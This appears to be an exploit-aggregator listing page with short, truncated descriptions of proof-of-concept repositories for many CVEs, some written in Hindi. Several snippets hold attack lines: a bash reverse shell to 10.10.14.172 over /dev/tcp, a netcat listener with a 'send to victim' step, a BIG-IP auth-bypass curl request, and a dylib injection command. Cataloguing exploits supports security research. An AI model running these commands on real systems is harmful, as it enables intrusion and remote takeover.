CVE-2022-48565-POC

CVE-2022-48565 PoC Introduction This is a Proof of Concept PoC demonstrating the vulnerability CVE-2022-48565 , which is based on unsafe deserialization of Plist files in Python. By processing specially crafted Property List Plist files, an attacker can execute arbitrary code on the target system...

CVE-2024-23997

YANA Notebook PoC A Proof-Of-Concept for CVE-2024-23997 vulnerability. 1. Vunerability Overview: Vulnerability Subject: Local Code Excution via XSS Vulnerability Version: = 1.0.16 Attack Type: Remote Code Execution Attack Vectors: To exploit the vulnerability, we must intercept an HTTP packet...

Log4j-CVE-2021-44228

Log4j-CVE-2021-44228 Log4j Remote Code Injection Apache Log4j 2.x 2.15.0-rc2...

CVE-2021-42013

CVE-2021-42013 Contributor 석은호@eunho87 CVE-2021-42013 Apache HTTP Server Path Traversal Vulnerability Summary A bug in the path normalization handling of Apache HTTP Server 2.4.50 allows arbitrary file reading or remote code execution without authentication. This occurs due to an incomplete patch...

CVE-2025-55182

CVE-2025-55182 React2Shell Exploit PoC ⚠️ WARNING: This project intentionally uses vulnerable software for security research purposes only. Credits All credits for the PoC go to @maple3142 Setup & Running Docker root@kitploit: docker-compose up --build The app will be available at...

spring-rce-poc

spring-rce-poc Testing CVE-2022-22968 Simple app vulnerable to CVE-2022-22968 Dockerfile could be used to build it on vulnerable version of Tomcat 9.0.59 exploit.sh is a shell script which is trying to exploit this cve on 8080 port of localhost If attack with exploit.sh was succesfull, on context...

CVE-2019-11932

CVE-2019-11932 double-free bug in WhatsApp exploit poc. Note: make sure to set the listner ip in exploit.c inorder to get shell nc -lvp 5555 or whatever port. and then compile. gcc -o exploit egiflib.c exploit.c then run ./exploit and save the content to .gif and send to victim. Source...

CVE-2025-5777-TrendMicro-ApexCentral-RCE

🚨 CVE-2025-5777 – Trend Micro Apex Central Auth Bypass + RCE 🔎 Overview CVE-2025-5777 is a critical authentication bypass and remote code execution RCE vulnerability discovered in Trend Micro Apex Central. It allows unauthenticated attackers to execute arbitrary commands on the system by abusing ...

CVE-2019-15858

CVE-2019-15858 Woody Ad Snippets में बिना प्रमाणीकरण के रिमोट कोड निष्पादन PoC एक बिना प्रमाणीकरण वाली विकल्प आयात भेद्यता, संग्रहीत XSS भेद्यता के साथ मिलकर WordPress Woody Ad Snippets 90,000+ सक्रिय इंस्टॉलेशन में रिमोट कोड निष्पादन का कारण बन सकती है। Woody Ad Snippets एक प्लगइन है जो प्रशासको...

php_filter_chain_generator

PHP filter chain generator PHP फ़िल्टर चेन उत्पन्न करने के लिए एक CLI — यदि आप PHP में किसी require या include को दिए गए पैरामीटर को पूरी तरह नियंत्रित करते हैं, तो बिना कोई फ़ाइल अपलोड किए अपना RCE प्राप्त करें! उपयोग सहायता root@kitploit: $ python3 phpfilterchaingenerator.py --help usage:...

CVE-2024-55503

CVE-2024-55503 Termius App MacOS dylib Command injection Description An issue in termius before v.9.9.0 allows a local attacker to execute arbitrary code via a crafted script to the DYLDINSERTLIBRARIES component. using dylib root@kitploit: DYLDINSERTLIBRARIES=exploitcombined.dylib...

langflow-exploit

CVE-2025-3248 - Langflow Code Validation Endpoint RCE A proof-of-concept exploit demonstrating a remote code execution vulnerability in Langflow's code validation endpoint. This vulnerability affects Langflow versions prior to 1.3.0, allowing unauthenticated attackers to execute arbitrary code...

graylog-cve-2024-24824-exploit

Exploiting Arbitrary Class Loading on the JVM This repository contains the proof-of-concept exploit presented in my talk: Exploiting Arbitrary Class Loading on the JVM Watch it here if you're interested: Youtube The exploit targets CVE-2024-24824 minor typo in the slides, an arbitrary class loadi...

CVE-2017-5638-PoC

CVE-2017-5638 Apache Struts 2 RCE Proof of Concept This repository contains a Proof of Concept PoC script demonstrating the Remote Code Execution RCE vulnerability identified as CVE-2017-5638 in Apache Struts 2. Vulnerability Details CVE ID: CVE-2017-5638 Affected Software: Apache Struts 2 versio...

CVE-2024-47051

सारांश एसेट संपादन फीचर में अपलोड की गई फ़ाइल की सामग्री, प्रकार और एक्सटेंशन की खराब सैनिटाइज़ेशन एक प्रमाणित हमलावर को वेब डायरेक्टरी के अंदर मनमाना PHP कोड लिखने और यह पता लगाने की अनुमति देती है कि फ़ाइल कहाँ लिखी गई है। इसका परिणाम रिमोट कोड एक्ज़ेक्यूशन होता है। पाथ ट्रैवर्सल भी इस...

monitorr-exploit-toolkit

Monitorr exploit toolkit RCE via unsecure file upload PHP reverse shell, webshell, etc. Administrator account creation via Authorization bypass Technical information leakage : Monitorr version, PHP version, System version & kernel, PHP config, etc. Exploit for CVE-2020-28872 and CVE-2020-28871...

CVE-2022-1388

CVE-2022-1388 BIG-IP iControl REST vulnerability CVE-2022-1388 Usage This POC is Verified! root@kitploit: curl -i -s -k -X $'POST' \ -H $'Host: localhost' -H $'Connection: keep-alive, X-F5-Auth-Token' -H $'Authorization: Basic YWRtaW46' -H $'X-F5-Auth-Token: a' -H $'Content-Length: 39' ...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE authenticate Usage python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Example...

cve-2019-16278

CVE-2019-16278 यह CVE-2019-16278 भेद्यता के लिए एक एक्सप्लॉइट है। यह nhttpd सर्वर v1.9.6 पर रिमोट कोड निष्पादन की अनुमति देता है। स्रोत से निर्माण यह टूल Rust में लिखा गया है और आपको Rust कंपाइलर स्थापित करने की आवश्यकता है, जो उनके पेज में दिए गए निर्देशों का पालन करने पर बहुत आसान है। संकलन एक...

CVE-2026-1357

CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Unauthenticated Arbitrary File Upload → RCE PoC for CVE-2026-1357 CVSS 9.8 Critical, CWE-434: an unauthenticated arbitrary file upload in the WPvivid Backup & Migration plugin for WordPress that leads to remote code execution. Fixed in 0.9.124...